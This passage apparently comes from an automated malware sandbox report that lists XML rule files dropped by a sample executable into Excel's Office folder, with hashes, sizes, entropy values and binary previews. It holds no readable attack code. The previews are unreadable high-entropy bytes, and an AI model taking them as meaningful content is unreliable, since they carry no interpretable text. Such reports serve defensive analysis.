Preview:	<?xml.q.......Qq...ZUl.`.Go.g.).z..e.h.FX/..d<.v.l...y.v...y.r@......3!%om.<..9....<..&.....9..>(..M..-.....#7.F>...i..@...D.V..HI~.0 .h../.[.`.._"\.>..k~.rEU..RLx...Y..#.....[.&..."...G>E.......K{.C..2\..!d.>..c>FK.....?w.......!9zL.<.3.f5....v..+..Qwx.P".../G.z:.._J....J'......+.3....d^.F.....m...+.c.]e.F6.2.@YG.TzK:..t...P.1..4..-...P......9]...u.-6J.....<.K... .."..Z..GA...p...-....7...@&.....K.....(.....LN.:^...D.ENP<.3.F....K.n/4r'..a...$.9.v.1......J.(_<..4S..n..q...k(:7..{S;m.?.K.0@.6.....R}G..<.....&.,_.......>>c..p...U...jt...qH'Z.....q:.W....]\.......P.......5.."-..&H!..pe.S...^..v...V.P...............W.CSLQw...[.\|..&$.Y....Te B....+....[.PG...C....@E..le..&...~;.j../.m.j.CE.(.....~).......;..{T.<dO....lR.._...^..}..d(C.....:.A}[G}.4.'0Sq3m..UW+-..7.c...o.4....N....)o.m.6.......h.... vD.R.I~C.^.$...W^}...^C..-...]...0.(..uf}...[............,>...:j.y..Y..r2UX..]+`..a,.]*}...ef...`...'......^.{'..;.w.t...../k.h_..8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.868462171435554
Encrypted:	false
SSDEEP:	48:1nBpp6vvRAsPuxvkHCx/GutCBIoiaQyLz+P3hLPyD:1rbs+vZdBtCx9EPa
MD5:	19DB4FA28C23A8323A41C7B3CAA1F6B8
SHA1:	10D36EC30BA2A7394EABFFC5BA71A6C15F63F038
SHA-256:	179F1046BBD23F853B4B9EF6F923BE3554269CBB556E368489333A15E2FBEC24
SHA-512:	3663D46867A93083AD27F5165E1C63CA35E282BE47F734561E3A1B75CE18A18F5F72F5455AAB111705BB46F23D41E2AEFF8FF9AA7AD0E6CEE12E635898B53EFB
Malicious:	false
Preview:	<?xml{'.'...s..#....ch.f.eG .Y.h /.5..u...,m..$.K..+....<....i.r.W4......XE...@..Oqi..Tf7_.2J).....GB...+..%..S..m..U..L...._."..)...(.....2.3.:.{.H.-+....\|..j..n....m.....[.......s.'.<3..]..q......Lb. .....p..W....fK.K....U..q?uh.-!.6.]9qO$...b.9....l.....U[k....<{.....n..I.&:G3NjvBq.UZ..5....f..wG.z.^..S,......6I.c...p.%uh..[..G.].db..=..q0._%..{.>..:r?....0..I.k[U.j....f.;..._...7w.Fp?......y+.=....o{/.>.&.<..3g05H.../....,......L...g.9i....P..M,.Y.....'m.?....\.y..I'.g.....x.+KH.....F.U..d.AC....yob`....$../..)....ul...Vn>..]{...y.....+9.......P.B...C61..Z2]`.u..S.G...w.... \"\11E...4......)wn.Vb0.@.to.... .......[....&....dc<7g5.41w.ut.`.~..\.&D..9.....Z..r..$..S.1...#.s.2.J.J...p...Oh.u...&..'t..P..#A..........2...Z.$. A0pWi....{..Wt.....\.].zJ^.x......Z.e..Ya....qB...I...#`...jl!.+G...O...\m..Ky#.?.....Do......1......?.....T.s.......h~.U...O..uu.*..h..A.4.u.i....:J<....K#...M.'\|[.....n.4....9.A...,34..2ecO.({...}..j.u_8M..eu

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.890916404270963
Encrypted:	false
SSDEEP:	48:QR6909leJejnUZ61xP/4W+RsCihRIVc6p8UT4Ya38oamWmyD:6hls65l45OaOUT4n38oamra
MD5:	E57FB2FD307B70F1D8D35910418138CD
SHA1:	8AC90B2569C321227324DC57DE2A39BC41BBE912
SHA-256:	45DCCD9F16D5CDEF907B173208EEA1678F0AB04EC6391B9C2B05FF46D86AC97D
SHA-512:	3922B90330CF5CC436C5396FAF5D987FBF1FEE645E8927076C96E1E996DF72E3EDFD291499F0C09DAE1655FD0CF487B0EC93F5B30DEA9231BB264F0150136FD0
Malicious:	false
Preview:	<?xml......TH..9..T.....a#,...\|..DS....9....Hg%~h0.2.3#..s.0q.." W.....#q.v.kR....y.yOw.0.s...v.......q..'.7.....~R...d.N%8....x.,}w!QV.?..O$36..2.......n.}K....$.$.^y.\|...4.S.xZ.,.8q]..]$.Q+...$..&wo......./.W!..n.<....^...,.!lc...h.>h~..Yr.uU. .Y)...^.....S.........`.Q..'4.oHX]..`\|...Eu.KZ...'.\|.5...gSCy.A8...@.....m.-..Qw....>&.A.djOa9fyd...tD2.b...7..\|.]......o...w.$.Kv9.z..%".2.....u.%..V.8....zH.....1..GS?..c<.........".....k^ ..h.r..A.CP'.R...7#....3.H].......>.V........"....:...W.....B.R.......,U...D"q.....c.Q.X...sz...q.]...E."F.RL.$G...;.P.)Q.5..f....&.......&..[.Cl..y't....C.6...oa.+.n=HO..].u..U6.O........'........r.f.Dq....#s\|>.s"=.5hu...8.....:.]...\.?v.-..%...0>.?.<.Z....2.!W.......`9.3....p.....+.......Ya.S....e?.jb. D..\|K>l....YDF!.......Kh.S%bA/.cr'lX.!.G...\|..........a...=q3...w_s...$.y.s/....^9OUdm.D..........S....P..t..:.zp..ep..$8z..C..S..{..._f.>.s...7D..@r.I.`o..V.y5....:.^>....!..S........W..8+wX..];....;$....t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.872189991236282
Encrypted:	false
SSDEEP:	48:xsi96StyRiMrw4Zt7J8mHYrtYd/JQhU4yD:y0NtGwS7J83ql4a
MD5:	4AD1E297EB58B3290B6B034137805EB9
SHA1:	F50B0373990DF291977514A4AD43A3F246F309E9
SHA-256:	0729F54EEA350FE53D2A05CDFF83FF88ED436C89DBD5B76D8DC7ACC3551AA8CC
SHA-512:	E1C537D96C65F5B8A4CE87F65F2DC06E66F07C555DA100C2CA3FA5872D998FF3AD51594F4BED8D3B4A17D3CF1FABDCC2CEDA039578D218D724A0B9F6BBF0F3ED
Malicious:	false
Preview:	<?xml.Y......o[.3..+F.....(7...9.<@T...9....,...Bv.!-.TW..OJ..`.v.a441{.d.[ut&.../"L..].3...y....ZQ[>....b?Xhml.wxuQ.U..............$.I.......m..ch.R8....3.hh.L.<..}"..1.N[.....Y0.@....rTj...f.s..Qo.+.!%.~?.\.v...s.....T.%\|P.r.&.r....,^.s...o....6.5.....pJr..rc...m.g^]z,.`.W-4..'2...X..(.k.\|.A.~H...M.e.>H.b...6b..N)........~..2....N...p.BG...M..nRe..M.Q.Y3P.,..*.]7..'~..2..Ct..w..y.,=zw..........JW.^^V..z....I......X.{...=......6H..K.......7..+5^..C.T......!.......j.U...1......'..-...c...\..i.q.......v1..N`s.Rb.c.....`.@@..;..).w>#R..G`nB..)..Twu.7G...........+N+.w.&z.l........a.......>.}.{;..J:.b.......,...h...d(!E+....AT..].......,.=.._.....K.m+....).0\Jl\|_....[.M..t..L...."...l.P.........i.ZE.x_.Q....%.l.=.}}..K...R$<..\..6[a...:..n..!..:..9.......V.0.n[.p.."h/,.Q. .:....,f....G.^.3F.<.Y.LW6.7..V.%...M.1m]e.?.JN.e.....u.UD6.-6.2+.....Z.C.......C.(......P..r}.\....T..{M.H.a./@...j..b..z.x.@.u.T.....qN.(.Ii`....&.._w.....P....X.#.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.895062532118598
Encrypted:	false
SSDEEP:	48:xL3f8a081J1tK9lhbMhR6GEbkz/21A3s3yD:NC2J/m4jLEm/cc0a
MD5:	C62947103971E948E393D2AFBEAE8721
SHA1:	6E9508CFD48C4E29F96526A61954C1227B12D4A6
SHA-256:	3B9277497E77E01E80C26788CD9924E003CA206F6AFCB92EC5FA4589104EFDFE
SHA-512:	8E610AF72B7197339E9B8A38C6BF2CD2DB4279D09FA42F93D06F1B20238C47605CCD359B7DAC2218451E7FB6E32FCEB007995A69C5EF30663AE657C4E97ED2D0
Malicious:	false
Preview:	<?xmlyS.Y4"Tvm.W...[..q...x.6.6......^.....4.ET/.s.F.n#}\..(.NQA-.;.BV.6....uH.)..8g...w2.^..v....q.7.....B...}s....#.......W..M.~k......G..W...R.....:.p.X.....L.....J/.\|.kB..9[ldd..n...W.......{ .r>.Zx...l .7...FB^4".....z..`~H..]....m...1..1......].&Q.X.......[{.......eM.{%.%Y.i&{7.M...q............I#.l.....A.=>.....G...,u.....=1...+..ox\|...jSx..k..2.....B....D3...p6]..%....DW.....<61...b).~..........f...]~]8..x.&..."..Zu.......)...H....O.ckA.......q[vJ.5.....Ph+...\|......`M.ZW:.C... J..;.6U.w...c......xtQ..-..o.4..$p../63}.$........B.a......`/..\|...h.tD......S....-%..p. `...X..=].(...k8..hF&u.}"....B.3....~.....N.>; ..i1.fg/.~..9-hv\|.:.m.h.}.7.%.\X..T...u.k.F%'.2.zg.<....G..C...........s.......8Y......?..A.."'c!...r..V..GJX.XH................l..ztGO..2.2Bde%...:0..._..`ot...T.'........vw...d.')R...k,;...0.`m.....N.i.[.N....`.'.I-0..{.FPK>8RM.b.i.}./...F?.RrV.Dl^.<[0...D..[2.6..x..._`q1+...2.....O..x'.B^Q..z...~.8 .U.T .>j.g..\......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.8850125586369675
Encrypted:	false
SSDEEP:	48:jVyiQN0++OaQ2IuDqQWzgwJ8S+7i/LbNTCy1TxzIyD:IylOaQduWzteSF/LbvRxzIa
MD5:	78628FA1EBBB9AF8A0132AEE863BA59E
SHA1:	191A3FCD204CF142D17E01D9FBCB04855282DCE4
SHA-256:	AA6F51DB5EF5DDAB73112071FB75ECBE3CFA70D70B9BC0483186B6E58909A0F6
SHA-512:	6724570DE815A26CDD66AFEBEC9696793AE9DB588D30588739AB6B9ED8D3AA5561DA03D3DCE94354680F802158C4B2417273A411D3630F141E82157628D27D42
Malicious:	false
Preview:	<?xml5x3Q....?.4..L....A`.7.C..I ..Y.\...9.V.I...^.d..'.>....Kc...`0(.[.X..o:.0..q...Y..0......R.bd#..c,.......,..J........I...'C.YJ.5. %.\1.%.kt. .Z.#..q.....n...-FL.........R..\l...E.'.+^j.#..I.../I?.0..5k.v}z<.u....0k.2b%,\.@v]~jqS"...+q...Q"...../..U.s...!'..t..tO..{.lX...m..9..m.SZL.5..5o-b.......{.6F...U.5.wfB.1[...x....P.H...@.......{..{.H.y..D...?p.7..%V..nP.x........A..`..V.%.W..+J?.t$yYd.Y..R1~...j..z..\|E.Ie..E.V..0oP...J..)3.....J....{_b....!.m.\|`..E....<..l....W..}2....5J....<.EW@.F..iFO..%...E....6.2M.....6.>Bs...2.HBw^.v-..t&...........E..........#....C..........a[.sf...o....p.i..LC.Z..^.b..N.92.c..(.4N......_6.>...9\|.....\|...H.B6\|q.`8.c.`.h.._..}r.....`..\..D.Y......Q..K.s\|C.:..........o.....Wdg.M.......b.!...;.m9.]..p\|..R9.....3.0.......?.]...3....Wti...C.!.c;jo.7.a..-..F...u_...i7.e>..T.\|.v.x[.p&m.B...\.... ....f.y..A..5....?(.$...6.^f+..AC.m..i..#.N.<7..b{X&....]...2.^m;...w.C.u.i..Y...A.b..r.).Y5.4..t.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.881071576762145
Encrypted:	false
SSDEEP:	48:W/pE/eXRDSMGKDF/OqoZpyRKJxK9EBCK35yD:kpEuSMGKDg0R0YiBJJa
MD5:	D5ACD7D8FCDDE0674E7FEEA397CB64C5
SHA1:	4FC7FFA8F6C306C9C0DDBF2734C258EA6DF3DCF3
SHA-256:	FBBB9791D59C30BDE7EDC45455CB1697B5657053C4DB424EF4011837A850390F
SHA-512:	58DA0F3E1AFE72BAD85B25B85F55A223AEC4453FF6D8D72130451AFE20ED407D24698D5F7969A4C80CA6F449A7156276299A7028BF0C853203F073D3AE6E145E
Malicious:	false
Preview:	<?xml..%.Y65...z.....i.wJ$...N.gs.:;...m...u...S..Xkw.cI..,.u%..".:i.+...s.?...\7.P..yO......P..^p.o..[..,..w?5[..f"mD.r...1W....dI..a\l......C..(w.....n..+...#0W4....j...Q.k#..d0ef...........d;.....Hf..=..C..G..T[..T...E..8'...%...f.z8 .b.....j..}....H\|..O..1..&0..b\|D=k.-4..?..=.<u..+m.P^.Q.s).~.yv......iO1....f...j=..[....p&.i..5..~.+k.4q.M...?......x.KpST.b...,?..A!F..+.....(..hSf....k.".b.P..1^.5..Z@(7.U...}v..;..NzU.O,h.u......n.co..\.H.(.Qc.S..m..Y ....uP.O..q.tt@.."Z.~&.....(....3.M..V.... .;F...V....[;.....]..N0...O......R...2.7UL..3Y.......C....0[,......k!..~...:.#U.4.."..Ep.i...,C.:..q....qO...RG....XG..i4..!m..~.%.R..&...r.E.Uso:J.7`.8...Zp,4...0d!........!....w!..5....8k.....V........Q..."k9ccf...=.g..xn.......-y..d.......i.+..N7.....M.N.e.B.9<..C.....>..v.."y...sr.t....2Zp.N.B..3....$...,.S..N..\.K(6R.....q...!...tN.f0.@@A.}...y...W.P.z....8..mq.....71C....@.yg. n. .d.y.Q... :...G.4Y.{;z..tr.H.y..i..p.*b...i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.943972725333393
Encrypted:	false
SSDEEP:	96:CtGsV9wjuul/mxLNz3ZGWK8ANLNHChQBLa:CtUuI/mzYWNCLNihQB2
MD5:	8E6873E7BC04A8DE464EDF19D9A531D2
SHA1:	4D2D3A780832DE63BC45FBAC692578446E4ABDBC
SHA-256:	B7A87032F2180329C673EEADD286887A56662512DC4D2B77C764FE2262CC49F6
SHA-512:	2C8E324479E5D525AF5B3192C8401A6CB9A577A317E28AC502FE62CF07A2F0E5649175C83DB3676D6B5CF7B6369052EE2B0A1B54308444F7600941F3BB6F86EC
Malicious:	false
Preview:	<?xml+...j....u.\|.K@..3$op[:....3.,dNL.F.i.}...F......R.q....K....X....R2...P...y.d..!G..%5.M-G.p.M....k./.A......{r....yc^]....a.K.4./1V.u........S'.l.t.i...v./...:.#.b,.q.....0.$xZ...c..'.r..6.....%.(8...[...xZ....3....Z.:.k......O=I...`.nt.l`..C....t...&.XY..'.......e".<.dh.f..9D..?...]...%.,..kT....~....ur...c.c..lk.Cm...)..I.V.NNV.?9[...A.$.`.E.;...p...+..Q=...[.#.$./RD....&...............Rc .F.p..l..H%.....N.....+mZu8>..Oj`..K.([^Zg..C.M....-..?/..t:.N.>..?.y.\|0.B.#.....4.,..b6..<......y0.:~%3..Y.M....(.V._'...E..C..3.+.....yb....(fo...:..u.6...A..~h...t...;..Bx&..j.V.....^Nx9.......x..n.8.o......_...M.K'..Hd...n.fP.Z#+.q..h......k....:.d.....2..W...2.....D....,.g.......X...R.T8........S../...eP...$.D..W0.8......<..&..K+....$..V..v/...&B.'....s..C.{V.3c$^.bX..&5.\|.......^......N.\c80..B.1=H{<W........].#b...CpR.D.D.Jg....s7.S.O..........Z.......v.I}....bx].,.4]T...L....$yW9F..m......7.H.&..@Kr..B.}...T..,.3.A..b...0.....@.%O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.753386813529099
Encrypted:	false
SSDEEP:	24:EtcqJRPYkmpNIp/GbkzOKHeLesxoh1B+1N86X2w1bD:EHfP2ipebyOQexih1B+1NPX2yD
MD5:	FFEBA281857D71D885FF47BA6EE40F7D
SHA1:	EF02E97CA5E6A6AB9B4806B9BF87BA0BB59EDFB9
SHA-256:	711A166C548D551CB9FD891F68B4415E8992A35DB33D811EB94C565E824D4FAB
SHA-512:	8F61C61E9688534AF31EFBF180771AE50109380C8313420978005B0E6499619E502ED903C9BE5CF7187C54DC011032A908144CB8E5225337A59E97A902EF25B4
Malicious:	false
Preview:	<?xml.2.$/.b....]....j.....I.N.P....j.N.J!%`..f..t7I.A.r.M.>3ts.u4Z(..hQ......?...r....!...%s.jl..sr.R.S..MhyK....V.&.V^...%C..k.....n,}?Q.rJ..f...j.#.0E..u...NR.X...L...&v.....5..T..v....2}.]..Z#Q..._#.rF....Q..(.C.....u)..\+Z..~...s...!........ .p.....:.).'.e.x..# E.....>..k.}.[.Q..w..\|...]{.C.MI+.PH.tX@...._..bs.......(....@>.z.9...G.8:..(_......H.7.%aa#u=.B...K..R.gKBn..`...:..\|.s....s..e.......:+A49 .?.o .....N\|..).)......q.....Q!.........pZ..&.......C...r.eDx.{..x0....V.9.a..3..B#UZm.....D.V.F...kP........Z8..s..H.....s.a.~>.......%k..../n.]...-....mi.....E....5.)4.U.S.2)_...`\....j)ls."_.\|=2.......].#}Y3.Z......R.{p<...!.t.$...U..7d,.$...RFn&.-..a.._...... .f..XK.L&...H#:.. ..S...R=...@b6pF...X.../..6.@%8....?TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.854589449123576
Encrypted:	false
SSDEEP:	24:gzIiCY5ZsPCDbCvJwvrvLvYS2WE6MkwcVHdscVeOJ6ovw1bD:ViC2sK/Cvcrg36z3ds6J6YyD
MD5:	CE7F76A8A68AA6EA548AFB660E4E4583
SHA1:	338C58C412AA7E63CEB088E339B9CBD7A5D47E51
SHA-256:	9645E14EF05F9D9F05521600E706D024844770816A306B76AA551B8398D74B29
SHA-512:	9E1BCDFD4F8DDC55CF09A0C3172CF328C4E0371234AE17401E7D482AC90F44E09B25972C7FCB7E697AF7B7DA41154797421D7439E7C05F890BB4278FAB4CD2BB
Malicious:	false
Preview:	<?xmlr...?............S.j%R..U,v.x....<.@$..req%..C7.....H. .[o."...S.j.....".).<Z9.(c.[...5'..+..e../.9O#Y.X.4... ........oM.......%2.}..w.B..F:1r.....J...q....V~.BS.....%.....Q......[..._.m.&f~...N...}.e....Z.=O1......v<.}.,..].Y..Go.7.,n.....s(a..1-\|....F..-hY...i...a.....6....N....../P.q..8;..gl'.&.P'!.CF.....E..pn...F.....A.bs..0dD.....{..c.=.Wo. K..M.G..f@..q..I.j..B.f...?.V..n...x....ev;.m\|8.#rb..O.....[....G.^.k.....V.T[_.7.&...T......'........m...^.=...6..w....l.F..'>&c1......W.!.)..J.....e..~^.^U........sz.q$...MNm.OY.J9.@"Q.J.U..........A9.;..K..Z..@N....<..v<...!.d.g.+......EC..l-y.......^2?....V.."..u......O...^Ls.f.9A..9.(...~L..>...1(.....\|"...&..vvP.U5.D......Y..u..0.K.L[.f..._..o......`..p...C...l..%F..32.j..?."....;n.u....C/..............m.......R.^.Xtid:.....al..._...Q....7`.A..H!o.......[..4..M...Wr.z..C....H..#k(\..7rmV..r.]`.kV.+.n$.u..L.m.... D...#...AZ..D'`....S.....1@.....ghp".y;0.wy...9...(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.775959331950343
Encrypted:	false
SSDEEP:	24:KfdM31RRmW4Fu3E4PgeSn+zqsqdZifOrvmz6870Zo2w1bD:HRRmWp3xU+RqdVTmDgtyD
MD5:	D6CFD31E144724E55266BF8AF2920EAC
SHA1:	508D2140C4ECE3D4EE2A8686534FB58693BDA7DF
SHA-256:	3D4BA053F33116C448608DBFBDAB941AD154E478BADFFF8D990206DAA1096299
SHA-512:	3EBEEA6672CD019F7DE0E2D260635DE199C411F0BBCD23EBDDB888EA062CA69233AFA6EA70537DB19390574B3F7BE5DE1D55DC982389542DECACCC0F83FCF69F
Malicious:	false
Preview:	<?xmlZ.W......hFh.$.....v.......P.R..D....L.....UT{diZOav0.^.......O9P.eYJv.e..,..q?sZ`..[.xC...<6....Z....6!.\|...RZ..5F.....}.?..s..+..L....4......^Ca.gP[..x./.....,.m......-u.C0./.!.jA.....R{L....{.......$..1..i\|K..C....%...V....R...?.s...^\..9..vk.....>.....^.@..Y.KJ^.'.Z.......o!.l.`.....\|...L[J.@_.^...........<R..Bz.......{.[::....M.X.E.4(@.......`.XP..n5_2S._.7..h:.!. 6q...b.....G......y....f..lA..@...B../.KN.....,.Cc.....c..:...`'b........vV(2+%B&....p.i.......>...D..8.Q...MK'.....%.r.......\X3.....A)w.0......ix...1f.[.z.e..@..%...?XJ....$....._G3.].[...+.v\..t.~iG^...fq..z1."{...dk.$_.5...1.'...h...qU* 'M.s.^k..E..%.f..8..:VY...3k.t"{...".k....}.X.}.$Rp.....I...}....h.}.<.&.......H..N.......4.rs.7...`Q..k.. iB.....f_.N..t%....f.L......iR$..../Lx.:...<N.YB..4a.......'...){$.PW.w..Hj.....'.RM17s...l.A.!B <8.kL.....I...l..e^.L.4.1m..4....$....Q...PL..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8783230255133185
Encrypted:	false
SSDEEP:	48:lQnzBk88j4kKskRGPTHxfeLuNvXw9Qx1XgRqryD:lQnzBk88skBwOTREz9QkAa
MD5:	EDEC360A72B81FA28F68F6F34E2B1A0F
SHA1:	1ED709D4AFBFCA53B79483484422074526BFCD99
SHA-256:	2A03F1274C25C7B12E291DAC6156FF780DD8CB52362F6925BCD7E90A48C8EAA4
SHA-512:	F255A8BF785F559E348E4307408BC92AD49F1AA16AF9C8F60D9AAFC4E44E778BCC1186841E291680E2CAD184E38D6AE5C16801C26D30D5D0D39C9ED35A19F3D2
Malicious:	false
Preview:	<?xml..9...]Tb...8..v..(y...5l...xW...N..Kt.'..[1.P..5../a..[W..yyF ....^#...t..Q"..)......r.)........v'P..n..$..c.c?.dR.U..3.<Lu>.. UIQr(.Uh......(.nHR...S.a.a..W...dZ.....sjk.;].#.WT.....).X...Ym...d...#c.y$..9zS...z.G.U=.%....\H.F.~.t...X...q^..}.H.lE.R....D..K..k<.<.t......K.N.).q..Q.4.."....7.Ez/i.......8..5(....-.R.64.Z.".U...zlhsH.n.:.GYn.t.S. .VT.Q.tW.oe..Gqd..,z.y.R..k.NGR.v.9.T<u(cbJ...........$h.D..f.\|(.N~#....S........d<-Z..U...Hr..U^.KL.`.+...}@Xb.... .E.S=...iB.....PqEhu>C8...+zI.o...uD..o.X<.......!<zr..eO...WDo?.B5O.. ...A.......c5.x..^.vL..8_.<.w8S....n.~t..0.>N...^4._...L/.X\|.y#..#.<./?.*.3y..K.rQ....z......0.F..e....F..kt9........%><........]Y.1.......eV..t..ni....+.[,Z....uej.J..!..eLy..<.d...oj...Ou2..4.1.$..zd^....h..k......W...r.cm.$....MQ....bH.'../....0.0.{O...a...x.a.E....C..v(...c&..{....?....a8...+W.....w..q!w....\y.D...7..h}.TE..k}..~.(u.KR......O.;P.!)D6 .O\|..`H.=..9F:..gf"X........!.(..k:A ..J9.Jc....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.876685159656858
Encrypted:	false
SSDEEP:	24:WEmY10CXvvyQslW8XIP08jSdBhGLSZkETQ8QuebA8sqlpsRLt8New3riFNCHidwd:2Y1tffIIHSrhFTQg4ytNsiFbyD
MD5:	56F7E9741C6E9308565483133B8EF26B
SHA1:	08A6C21034457B9AB5CB9BF165A45918B407B116
SHA-256:	2DA7FFD6D1BCF7556C1755A635287CE837E78C6770632C953266F7629E39DDB5
SHA-512:	AF60BC9556304300DA36B540A3514FFA9D546EF88AF5FBD8A1DBAD68E9F1D126C8B59932A656BBEB71C6EF65704338DC7D1ED32C87526233337C369E65119175
Malicious:	false
Preview:	<?xml.O.z.i.X..(.._..V.g.'N>.m...g....U....}.g2T....;...D.....Z....Q..E..&..:.3....t;.9g5H`.is......G.L.C......'...S...,...h...S..n.....fWt...:.4.y..`..Ms.7...<* fY.<.{...I...^B...>.I.&Wr...\....7.<.8.,$W..L...M...{>......Q.....9..]n:}....j.O....F.m..aP.M.... ..t.....'#....EV,...U."..g..X..t.;.#...7$..i..ga..XB......f.r."...^..D..w..3..s...,5.I9.+.....o]..R9.....aq.<.W/\|C(......p....$..^.Dw^..J.K_d..kr.'t0.....W.5..>...I.~iY..a...J3."...\|.....Ym..I.+.1R....>.Bb.Fm. b?.N]..3!p.j.>3.wX..2.L.E........-}s$p.ag. 0,4.IK.5..rR....A.~.M..-..z.&...i6\..?.....n...:.~r..._B.JF.O...WL..F..T."e.....no^??O.U..F.Sf.?..9.B........Gp....Y..;.q'...'.../.J..bB78zW.i..)]............>..<........u...VYs.t.?:c..z.0.c...s..-X.=..-'........}2.OND.HY..,..h.G....:..0.`..1B6l...c+....H...\.!.h;.....:Jl....*.....@...x.t.....t.`...d...A.2.u...e..8/2vv<f,..`...'N..~..:...a.G.qT...P...NO...^..v.fk.8....yL..1.\|.x.h]..).....~....}..'...X9w.=...~.Y$B......~....3.G..O..\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.684479824050904
Encrypted:	false
SSDEEP:	24:jLUIH1NYtqsC6wWSREuri1MUkzUNuwlWOpL48w1bD:3UIVN8OnRdr7jINuwJ48yD
MD5:	63A3D38939EE5117DA4EAEC80E6AFF0E
SHA1:	45F1C2B06862BFC9B4CFDF94D9D1A058E5E75988
SHA-256:	56B4423B7CAC4A11FFC7117B44A1F81E2AA1029214255027C87DA74FAF3B9617
SHA-512:	AA376EDA187ECE387AC6F19F88F96E473F21EEF01C8701DDBCA8E4B4559A1F81FE6FACAF5461B30CA04ED88ABEB7D90755707582F9CE0C5F31CCDFE0C6183CAB
Malicious:	false
Preview:	<?xml.F..;..S...l3.7>..3a5...A..C...x...<..z..../..s.Z..uxt../n..zD\8.>...R...f.-.?.8.t.LW......4^..>v....ci........n[P..&6...r...[.......l.>.\F3.?.j...0uS..0hO....=.....z'..P2...s...8.\jj/K.._......."$Q`.x......F..I}(n.y$r..RV;.....;....8...Ka.....G...B...Ccl.%..vy..g.d....f...x...aX......]...,."..G....33...-......z.J.,..\.9.;.p.{../.=..XB...bW...B.m....h5......]..e....Tix.JH}..C[.........k..UP.!..K%.7e\|..........t....{..I.....{..?.5..i.K+K.@i..Q.P..l.8d.3%V......\|.....ewW~v..V:...A...I:........v.J.D..z.g.....]2..>P,W..c.\..0=...t>.h..8J.`uO...v.....3:...K.;.?Z.{...........0....w.H..(.6\Q$.6.=L..+R...7..d.Mu...0.eq...8r..{..........c...f..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.708459800849192
Encrypted:	false
SSDEEP:	12:kkHQi2yMDjueMaoCNJSrDvUjazAVjJ5cFWkKCCprAijRbgn3iMpLH2xxiXdIoqwd:dwiKpMj9NsVjJpkKh5qSMpyD0dow1bD
MD5:	4CC80D463ECE66CD2FE13225F1FE8CB0
SHA1:	0A7456C9BF5F23648030F07E79B325DB369F2840
SHA-256:	B5DD4D7658E0934334FC9BE740F42DB689E888333D0F98ECE5045D56E83BA8D1
SHA-512:	EF516E713D3F2E4763BF5AE5E0A861311684A9A62C72AA1A15C8EB1EF299CA5210390D7E02F48A9DF619ED864EAE03BFAA3926C21A010DE294767757EEBB5E16
Malicious:	false
